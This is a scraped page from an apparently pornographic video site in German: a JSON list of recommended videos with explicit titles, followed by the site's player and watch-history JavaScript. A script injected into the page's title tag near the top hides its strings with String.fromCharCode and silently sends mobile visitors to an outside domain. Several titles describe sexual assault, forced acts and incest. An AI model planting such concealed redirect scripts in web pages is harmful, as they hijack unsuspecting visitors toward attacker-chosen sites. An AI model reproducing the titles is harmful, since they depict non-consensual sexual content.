Empfohlene Videos
45:10
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Eine 24-jährige, kurzhaarige, elegante Dame mit einer starken, unschuldigen Ausstrahlung, die schüchtern Widerstand leistet und sich gleichzeitig willkommen fühlt, während sie ihre Brüste leckt.</script></title>
Eine 24-jährige, kurzhaarige, elegante Dame mit einer starken, unschuldigen Ausstrahlung, die schüchtern Widerstand leistet und sich gleichzeitig willkommen fühlt, während sie ihre Brüste leckt.","lastmod":"2026-07-11","duration":"45:10","url":"/play/19152674.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmJhMWYwNDY3Y2YyYmYxOTk3Nzc4NWEzNWY5ODhkOWEuanBn.cache","vod_id":18957133,"title":"Yui Hatano - Der versehentliche Samenerguss der älteren Schwester in der Reiterstellung garantiert Samenerguss-Sex.","lastmod":"2025-03-19","duration":"02:37:41","url":"/play/18957133.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYmVmYjNhMjAxMTVmNzE0NDk2ZDIyNjhmZGNiMTc3MzEuanBn.cache","vod_id":18952064,"title":"Chinesischer AV-Film mit einer schönen und sexy Immobilienmaklerin, die sich ihrem Chef bereitwillig anbietet, damit er ein Zimmer buchen kann; sie wird gewaltsam heruntergezogen, lutscht seinen Penis und wird brutal in verschiedenen Stellungen gefickt.","lastmod":"2025-03-19","duration":"17:11","url":"/play/18952064.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjdlMWU1ZGZmZGU5NjllYTRhN2I2ZDMyZjgzMTI4NmEuanBn.cache","vod_id":19031589,"title":"Eine aufwendige Produktion beinhaltete den sexuellen Übergriff auf Linlin, eine kurvenreiche und attraktive Kunststudentin. Linlin wurde in verschiedene, unangenehme Positionen gezwungen, woraufhin sie wütend wurde, über Schmerzen klagte und darum bat, in normale Positionen gebracht zu werden.","lastmod":"2025-03-19","duration":"33:12","url":"/play/19031589.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNGMwYWYzZmMxOGY2ZDk5N2I2ZWRjODAzNDhjZjEzNTIuanBn.cache","vod_id":18948946,"title":"KSBJ-250 Sexy Wives BEST 8-Person VOL.03","lastmod":"2025-03-19","duration":"04:00:06","url":"/play/18948946.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzQyMTg2ZDkxNzllYWYxZWE1MTk3N2RmYjEzNzE1MWMuanBn.cache","vod_id":19023576,"title":"Eine atemberaubend schöne junge Frau, die einen sexy Pyjama und ein vibrierendes Ei trägt; sie spreizt ihre zarte Vulva und enthüllt ein unfassbar tiefes Loch.","lastmod":"2025-03-19","duration":"41:29","url":"/play/19023576.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzY2NTgwY2QyZDEwMjk4N2ZiMmJkMjgzNTkyNGNhYTIuanBn.cache","vod_id":19130035,"title":"ANG-011 Rina Ayana x Sayu Usui: Das private Fotobuch meiner Schwester: Der heilige lesbische Bademodenwettbewerb – Fotografin fotografiert süße Mädchen in Badeanzügen","lastmod":"2026-02-13","duration":"01:33:34","url":"/play/19130035.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYWU2NGYwOTUzNGFlNWFkNmQ5NjRmZGM0MGFmYzU4YmEuanBn.cache","vod_id":18939776,"title":"WAAA-208 lässt dich Speichel schlucken, feucht und klebrig, klebt am Pile Driver für Sex, sexy Zungenlecken, Männerpflege, Ai Sayama","lastmod":"2025-03-19","duration":"02:26:38","url":"/play/18939776.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTQ2OWRhZDA4YTM5NGYwZDhmMDgyYzMzMTc5MDgyNDkuanBn.cache","vod_id":19019140,"title":"Paradise-Serie: Amateure flirten mit einer jungen, kurvenreichen und wunderschönen Frau – das perfekte Date!","lastmod":"2025-03-19","duration":"35:09","url":"/play/19019140.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjY5YzdkYzY1YzEyOTUxNzhkMzE3NTQ3MzNhOWRiOWUuanBn.cache","vod_id":18941223,"title":"Madou Media – Sexy verheiratete Frau verführt jüngeren Schwager","lastmod":"2025-03-19","duration":"35:16","url":"/play/18941223.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYmE3ODRiYTMxOWViMmU0ZjkzNTBhNTVjMTljMDBmMmYuanBn.cache","vod_id":18980620,"title":"Caribbeancom 020624-001 Enzyklopädie der sexy Schauspielerinnen: Yu Okubo","lastmod":"2025-03-19","duration":"59:02","url":"/play/18980620.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2RkMWIxMzljZTMzMmVlYWJkNzg1NzkxNDA1MWFhOTcuanBn.cache","vod_id":18940259,"title":"Ich verneige mich vor den Ladyboy-Schwestern!","lastmod":"2025-03-19","duration":"31:50","url":"/play/18940259.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmIyNzJmZTRkOTIwZDkwYWNjNGVhNmVlNWVlMmJiY2EuanBn.cache","vod_id":18959434,"title":"Eine wunderschöne, ungeschminkte Frau hat leidenschaftlichen Sex mit einem Mann in ihrer Wohnung. Sie trägt eine sexy Uniform und verführt ihn dazu, ihre Vagina zu lecken und auf verschiedene Weise in sie einzudringen. Sie stöhnt wollüstig, ist gefesselt und festgehalten und wird von ihm berührt und stimuliert.","lastmod":"2025-03-19","duration":"01:35:50","url":"/play/18959434.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNGJhOTI3NWIwNzg0ODdjZThhMTk0NWQ2MzgyYTUyYjEuanBn.cache","vod_id":18964954,"title":"Hotel-Abenteuer mit sexy Freundin","lastmod":"2025-03-19","duration":"15:13","url":"/play/18964954.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZWU0NmQzOWI2OWJlZDcxZDljYWZjZTk3YjcwOWFmNTIuanBn.cache","vod_id":18960087,"title":"[China] Eine sanfte und süße junge Dame, die wild leckt und stößt, während sie unaufhörlich stöhnt.","lastmod":"2025-03-19","duration":"20:14","url":"/play/18960087.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTE4Y2MwN2Q0Y2NiYTU4ODAxYzA2OWQzYTVjNGYwZDUuanBn.cache","vod_id":19038013,"title":"Madou Media - Schwester im Sex-Klassenzimmer: Disziplinierung des inzestuösen ersten Mal ihres jüngeren Bruders - Bai Lu.","lastmod":"2025-03-19","duration":"34:33","url":"/play/19038013.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTQzYTA3ZjI1NmRkY2E0NjYwYzNhMzI4NWU5ZTU0MDkuanBn.cache","vod_id":18955845,"title":"Yui Hatano - CD1 Wenn Sie mit den unglaublichen Fähigkeiten von AV-Darstellerinnen umgehen können, können Sie rohen, ungefilterten Sex haben!","lastmod":"2025-03-19","duration":"03:47:37","url":"/play/18955845.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvY2QwYWEyMGFlNTU3NmQwMmJmZDkwMmU0MTYwYjliMmEuanBn.cache","vod_id":18939967,"title":"MIAA-423 Ich bin deine Nachbarin. Soll ich heimlich einen blasen lassen, während ich meine Freundin betrüge? An dem Tag, als meine Freundin zu Besuch war, jagte mich die ältere Schwester von nebenan und blies mir so lange einen, bis ich leer kam. (Saeki Yumika)","lastmod":"2025-03-19","duration":"02:00:07","url":"/play/18939967.html"}]},
videoTitle: 'Sexy Tech-Girl',
language: 'de',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Link kopiert!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}